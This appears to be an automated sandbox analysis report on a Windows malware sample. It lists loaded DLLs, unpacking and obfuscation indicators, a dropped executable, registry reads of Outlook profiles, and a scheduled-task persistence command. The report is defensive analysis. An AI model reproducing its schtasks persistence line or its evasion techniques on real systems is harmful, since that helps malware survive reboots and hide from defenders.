Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Section loaded: rasapi32.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Section loaded: rasman.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Section loaded: rtutils.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Section loaded: schannel.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Section loaded: mskeyprotect.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Section loaded: ncryptsslp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\IFZCSslt.exe Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Roaming\IFZCSslt.exe Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Roaming\IFZCSslt.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\IFZCSslt.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\IFZCSslt.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\IFZCSslt.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\IFZCSslt.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\IFZCSslt.exe Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\IFZCSslt.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Roaming\IFZCSslt.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Roaming\IFZCSslt.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Roaming\IFZCSslt.exe Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Roaming\IFZCSslt.exe Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Roaming\IFZCSslt.exe Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Roaming\IFZCSslt.exe Section loaded: dwrite.dll
Source: C:\Users\user\AppData\Roaming\IFZCSslt.exe Section loaded: textshaping.dll
Source: C:\Users\user\AppData\Roaming\IFZCSslt.exe Section loaded: windowscodecs.dll
Source: C:\Users\user\AppData\Roaming\IFZCSslt.exe Section loaded: amsi.dll
Source: C:\Users\user\AppData\Roaming\IFZCSslt.exe Section loaded: userenv.dll
Source: C:\Users\user\AppData\Roaming\IFZCSslt.exe Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Roaming\IFZCSslt.exe Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Roaming\IFZCSslt.exe Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Roaming\IFZCSslt.exe Section loaded: propsys.dll
Source: C:\Users\user\AppData\Roaming\IFZCSslt.exe Section loaded: edputil.dll
Source: C:\Users\user\AppData\Roaming\IFZCSslt.exe Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Roaming\IFZCSslt.exe Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Roaming\IFZCSslt.exe Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Roaming\IFZCSslt.exe Section loaded: netutils.dll
Source: C:\Users\user\AppData\Roaming\IFZCSslt.exe Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Roaming\IFZCSslt.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\IFZCSslt.exe Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Roaming\IFZCSslt.exe Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Roaming\IFZCSslt.exe Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Roaming\IFZCSslt.exe Section loaded: slc.dll
Source: C:\Users\user\AppData\Roaming\IFZCSslt.exe Section loaded: sppc.dll
Source: C:\Users\user\AppData\Roaming\IFZCSslt.exe Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Roaming\IFZCSslt.exe Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Section loaded: fastprox.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Section loaded: ncobjapi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Section loaded: mpclient.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Section loaded: version.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Section loaded: msasn1.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Section loaded: wmitomi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Section loaded: mi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Section loaded: miutils.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Section loaded: miutils.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\schtasks.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\schtasks.exe Section loaded: taskschd.dll
Source: C:\Windows\SysWOW64\schtasks.exe Section loaded: sspicli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Section loaded: mscoree.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Section loaded: version.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Section loaded: uxtheme.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Section loaded: windows.storage.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Section loaded: wldp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Section loaded: profapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Section loaded: rasapi32.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Section loaded: rasman.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Section loaded: rtutils.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Section loaded: mswsock.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Section loaded: winhttp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Section loaded: iphlpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Section loaded: dhcpcsvc6.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Section loaded: dhcpcsvc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Section loaded: dnsapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Section loaded: winnsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Section loaded: rasadhlp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Section loaded: fwpuclnt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Section loaded: secur32.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Section loaded: sspicli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Section loaded: schannel.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Section loaded: mskeyprotect.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Section loaded: ntasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Section loaded: ncrypt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Section loaded: ncryptsslp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Section loaded: msasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Section loaded: gpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Section loaded: dpapi.dll
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32 Jump to behavior
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 Jump to behavior
Source: b5Tu0LaQfn6bnAD.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR
Source: b5Tu0LaQfn6bnAD.exe Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Source: b5Tu0LaQfn6bnAD.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Data Obfuscation
barindex
.NET source code contains potential unpacker
Source: 0.2.b5Tu0LaQfn6bnAD.exe.7c30000.6.raw.unpack, Jp3GKTqOWLHMIx01c5.cs .Net Code: OhGFx7yREU System.Reflection.Assembly.Load(byte[])
Binary contains a suspicious time stamp
Source: b5Tu0LaQfn6bnAD.exe Static PE information: 0x8ADA6833 [Tue Oct 27 14:35:31 2043 UTC]
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Code function: 0_2_07A58FAB push ebp; ret 0_2_07A58FB3
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Code function: 0_2_07A53AD9 push ebx; retf 0_2_07A53ADA
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Code function: 0_2_07A5B925 push FFFFFF8Bh; iretd 0_2_07A5B927
Source: C:\Users\user\AppData\Roaming\IFZCSslt.exe Code function: 9_2_06C244EF push es; ret 9_2_06C244F2
Source: C:\Users\user\AppData\Roaming\IFZCSslt.exe Code function: 9_2_06C243A3 push es; ret 9_2_06C243A6
Source: C:\Users\user\AppData\Roaming\IFZCSslt.exe Code function: 9_2_06C24351 push es; ret 9_2_06C24352
Source: C:\Users\user\AppData\Roaming\IFZCSslt.exe Code function: 9_2_06C28943 push edi; ret 9_2_06C2894A
Source: C:\Users\user\AppData\Roaming\IFZCSslt.exe Code function: 9_2_06C276C3 push ds; ret 9_2_06C276CA
Source: C:\Users\user\AppData\Roaming\IFZCSslt.exe Code function: 9_2_06C27688 push ds; ret 9_2_06C276C2
Source: C:\Users\user\AppData\Roaming\IFZCSslt.exe Code function: 9_2_06C27799 push ds; ret 9_2_06C2779A
Source: C:\Users\user\AppData\Roaming\IFZCSslt.exe Code function: 9_2_06C2379C push es; ret 9_2_06C24332
Source: C:\Users\user\AppData\Roaming\IFZCSslt.exe Code function: 9_2_06C23714 push es; ret 9_2_06C243A2
Source: C:\Users\user\AppData\Roaming\IFZCSslt.exe Code function: 9_2_06C25213 push cs; ret 9_2_06C2521A
Source: C:\Users\user\AppData\Roaming\IFZCSslt.exe Code function: 9_2_06C25210 push cs; ret 9_2_06C25212
Source: C:\Users\user\AppData\Roaming\IFZCSslt.exe Code function: 9_2_06C25FE8 push ss; ret 9_2_06C25FEA
Source: C:\Users\user\AppData\Roaming\IFZCSslt.exe Code function: 9_2_06C27891 push ds; ret 9_2_06C27892
Source: C:\Users\user\AppData\Roaming\IFZCSslt.exe Code function: 9_2_06C278B3 push ds; ret 9_2_06C278BA
Source: C:\Users\user\AppData\Roaming\IFZCSslt.exe Code function: 9_2_06C278B0 push ds; ret 9_2_06C278B2
Source: C:\Users\user\AppData\Roaming\IFZCSslt.exe Code function: 9_2_06C93AD9 push ebx; retf 9_2_06C93ADA
Source: C:\Users\user\AppData\Roaming\IFZCSslt.exe Code function: 9_2_06C9AE5E push dword ptr [edx+ebp*2-75h]; iretd 9_2_06C9AE67
Source: C:\Users\user\AppData\Roaming\IFZCSslt.exe Code function: 9_2_06C984EB push ebp; ret 9_2_06C984F3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 17_2_04E49C30 push esp; retf 0676h 17_2_04E49D55
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 17_2_0A218825 push eax; ret 17_2_0A218827
Source: b5Tu0LaQfn6bnAD.exe Static PE information: section name: .text entropy: 7.646729746934231
Source: IFZCSslt.exe.0.dr Static PE information: section name: .text entropy: 7.646729746934231
Source: 0.2.b5Tu0LaQfn6bnAD.exe.7c30000.6.raw.unpack, uDs1bv8bUPpI7poMCF.cs High entropy of concatenated method names: 'mB3QgshQai', 'wanQ6lSElr', 'ibDQ79Gr1W', 'FDAQoEUwZw', 'aKRQhfvsND', 'lQ9QqiFMdf', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.b5Tu0LaQfn6bnAD.exe.7c30000.6.raw.unpack, T2VTQBrsMpSCO2RPF2.cs High entropy of concatenated method names: 'oDkpZavhsD', 'jZ5pIgkCIW', 'ToString', 'Pv9pbmB2w2', 'Gw8pMeAB2y', 'xZCpg01rV4', 'eYvp68KDdQ', 'Ngpp7ieMMX', 'GsOpoJmbgK', 'OF2pqrvSlg'
Source: 0.2.b5Tu0LaQfn6bnAD.exe.7c30000.6.raw.unpack, yk5dnsMfn9tQp1BLhQ.cs High entropy of concatenated method names: 'Dispose', 'XF1J56IFVg', 's7m3G33e3c', 'OHimkrGa86', 'tg3J8raNQJ', 'NyaJz7Jaoe', 'ProcessDialogKey', 'gE03NKgo0m', 'sBf3JsrJ4J', 'fNl33ODs1b'
Source: 0.2.b5Tu0LaQfn6bnAD.exe.7c30000.6.raw.unpack, aB1ji83PJ9Riw4Esfh.cs High entropy of concatenated method names: 'xxxx1msvI', 'i9VvkQvRp', 'ognfjJEIY', 'jUTkpqcXN', 'QnJUYebIK', 'IIsYU2C49', 'fbgdxdDS8yyMUO5fr8', 'x58vgRIHQjK4mVQPdm', 'Ak5DIhOBm', 'f6yQHOMsK'
Source: 0.2.b5Tu0LaQfn6bnAD.exe.7c30000.6.raw.unpack, T1NZRruMkyMhJJy0uU.cs High entropy of concatenated method names: 'U52MySGaJt', 'Xb9MnY5xx5', 'zJKMTdO9XT', 'ygUMrlLq4P', 'bDqM1jWQir', 'HOyMEPdJ6E', 'i37MBISpau', 'NDsMsLR88Y', 'sC3M5WASYq', 'a9iM8ZYLDe'
Source: 0.2.b5Tu0LaQfn6bnAD.exe.7c30000.6.raw.unpack, hhPCgtJJlhfOOJIVEMl.cs High entropy of concatenated method names: 'sI6Q88pLsk', 'ncEQzpBAGl', 'CxlSNSrue9', 'h3YSJa22oa', 'AJ4S3SHGkv', 'ac4SwpXI1A', 'JsuSFxj3nK', 'odDS9SeGAq', 'h40SbcXAdi', 'sh4SMNd6mg'
Source: 0.2.b5Tu0LaQfn6bnAD.exe.7c30000.6.raw.unpack, zKYamrPBnVm6XYCHcm.cs High entropy of concatenated method names: 'I4poXScMel', 'wJYoKo5DUm', 'EExoxZUQDn', 'z0qova2e2k', 'qBTo2TTETy', 'oFrofKLgxp', 'hV5okKXHuP', 'CJLouGOtbA', 'hoXoU43i48', 'nn5oY6c9Xg'
Source: 0.2.b5Tu0LaQfn6bnAD.exe.7c30000.6.raw.unpack, usLUP1WmkN5n9CMElf.cs High entropy of concatenated method names: 'Yx2obuoMnf', 'jIkogrFdVx', 'nqNo7aBChc', 'nSm78GrRuG', 'UDH7zC5hIM', 'cchoNowA8i', 'yM0oJVpZyG', 'bF6o3eKJTQ', 'XwmowbyQKZ', 'wuooFD0w83'
Source: 0.2.b5Tu0LaQfn6bnAD.exe.7c30000.6.raw.unpack, FkIstdFyyOuYnv7anU.cs High entropy of concatenated method names: 'tqrJo1NZRr', 'gkyJqMhJJy', 'iOsJZfuPHy', 'gYCJIJJEwg', 'J2jJcLF9cu', 'j2mJRZhSy8', 'nMv6ihoE4lJqtpbOTI', 'm3OZ0rN9wOlXpyAAF6', 'nPHJJe21D9', 'TBZJwhDRMr'
Source: 0.2.b5Tu0LaQfn6bnAD.exe.7c30000.6.raw.unpack, ecuo2miZhSy8fqf7wO.cs High entropy of concatenated method names: 'Igj79addcT', 'EgA7MnUs94', 'hDD76f3ce0', 'byp7outjId', 'LrB7qEougy', 'kHE61GQdrc', 'xqj6EW9YRW', 'V2C6BKoHnq', 'OMU6sZPC2B', 'mis65sS3WH'
Source: 0.2.b5Tu0LaQfn6bnAD.exe.7c30000.6.raw.unpack, FBQxI7UOsfuPHyMYCJ.cs High entropy of concatenated method names: 'c38gv7XK0o', 'mbPgfOsr7e', 'n86gufRnUT', 'gp8gUOx5nH', 'ktKgcx06tn', 'TbWgRWiNuU', 'bBNgpc2kNl', 'wvGgDCgcgS', 'VL2ghXcaej', 'GpDgQSJJyg'
Source: 0.2.b5Tu0LaQfn6bnAD.exe.7c30000.6.raw.unpack, aEwg3JYL1lGLlC2jLF.cs High entropy of concatenated method names: 'Gih62LBrWM', 'jJa6kurbF9', 'JIUgeB7anc', 'KkpglPdx67', 'z1GgCk17By', 'U4Jg0FFtif', 'aXEgWwbxsq', 'VLTg4IkQkY', 'TK1gPTAUVv', 'IENgVBGv60'
Source: 0.2.b5Tu0LaQfn6bnAD.exe.7c30000.6.raw.unpack, EvXSa9JFM2rBTC6N4x2.cs High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'jIHOh5iIOK', 'KrUOQyyufP', 'NgyOSbn8Tj', 'N7xOOxrXUa', 'EYvOHJOIHx', 'jIsOabGc1w', 'vZ1OAkpAI1'
Source: 0.2.b5Tu0LaQfn6bnAD.exe.7c30000.6.raw.unpack, Jp3GKTqOWLHMIx01c5.cs High entropy of concatenated method names: 'GFfw9MSEE8', 'WqnwbPCKl6', 'fE7wMTn9wh', 'T5Ewg7GcUe', 'Dkdw67HCWY', 'fE7w7sCErQ', 'FBWwoUo3da', 'FOmwq8pU2y', 'jLtwmOcdlg', 'ElxwZCYiQN'
Source: 0.2.b5Tu0LaQfn6bnAD.exe.7c30000.6.raw.unpack, HKT5U2jpJhc4obuAsO.cs High entropy of concatenated method names: 'l0adui0a4t', 'VlTdUjMRnT', 'OMfdi7UId4', 'k3BdGhhcOg', 'WRidllaL8Q', 'O9IdCoRgVn', 'qVodWUV0dT', 'zbKd4f0oeJ', 'zQhdVcA9GS', 'pmOdLU4lhr'
Source: 0.2.b5Tu0LaQfn6bnAD.exe.7c30000.6.raw.unpack, DhtXfHycgdZgF8yDOo.cs High entropy of concatenated method names: 'mjFcVWXOvu', 'AOrctL0IyF', 'oNTcyKrVp5', 'DUJcnvf1Gb', 'gr2cGA1PyK', 'kR3ceV3T4s', 'tvvclvS0wD', 'MbtcCrwRd8', 't3Ac01GIJe', 'xtgcWAWuph'
Source: 0.2.b5Tu0LaQfn6bnAD.exe.7c30000.6.raw.unpack, MprTHaEwPDHXOhvMqZ.cs High entropy of concatenated method names: 'CaYpsb6qSB', 'xcUp8cnLY0', 'Eb9DNtCf1m', 'IRkDJH87Vk', 'gl3pLMA7yM', 'MSpptx1Zt3', 'y1YpjPuMCm', 'PvQpyvIcmL', 'Bq7pngqnTH', 'QrUpT4wHJr'
Source: 0.2.b5Tu0LaQfn6bnAD.exe.7c30000.6.raw.unpack, BjEmg3z4alb1dWxikW.cs High entropy of concatenated method names: 'vXTQfG805Q', 'Ih6Quf0YnQ', 'P5iQUJjTrl', 'R78QiVhFnj', 'LOAQGX0rHb', 'H19Qlw3t2T', 'FoaQCKfOP1', 'lCEQAUe6mX', 'UaFQX7GWDb', 'rK4QKhmSfe'
Source: 0.2.b5Tu0LaQfn6bnAD.exe.7c30000.6.raw.unpack, Wy0dmKTw37xwMdKyN5.cs High entropy of concatenated method names: 'ToString', 'AFPRLOKZuI', 'utSRG0TiEf', 'Ve1Re6hfW9', 'OSKRljYSHH', 'WwfRCoCxt0', 'Co2R0k601H', 'uMxRWSuG0W', 'inhR43aVfF', 'S5kRP3X2Ai'
Source: 0.2.b5Tu0LaQfn6bnAD.exe.7c30000.6.raw.unpack, wS2kB7BEN5F16IFVgS.cs High entropy of concatenated method names: 'KWihcLFxU6', 'EWnhp8LdF0', 'bJUhhgeMvk', 'j85hSqyG0S', 'C3BhHT5Ge7', 'zmuhAluN3J', 'Dispose', 'd04DbrROIg', 'UWEDMhC2jC', 'cXvDgEb5ri'
Source: 0.2.b5Tu0LaQfn6bnAD.exe.7c30000.6.raw.unpack, KKgo0m5QBfsrJ4JbNl.cs High entropy of concatenated method names: 'oqGhiG8YmQ', 'tY0hGpA63a', 'mXhheWhTW5', 'gxhhlTedMS', 'vughCEHPE7', 'hySh0CoA5g', 'rqBhWEtKnj', 'iiEh4YiFMd', 'O54hP1JrWx', 'C9thVULo54'
Drops PE files
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe File created: C:\Users\user\AppData\Roaming\IFZCSslt.exe Jump to dropped file

Boot Survival
barindex
Uses schtasks.exe or at.exe to add and modify task schedules
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\IFZCSslt" /XML "C:\Users\user\AppData\Local\Temp\tmp1110.tmp"

Hooking and other Techniques for Hiding and Protection
barindex
Loading BitLocker PowerShell Module
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1 Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
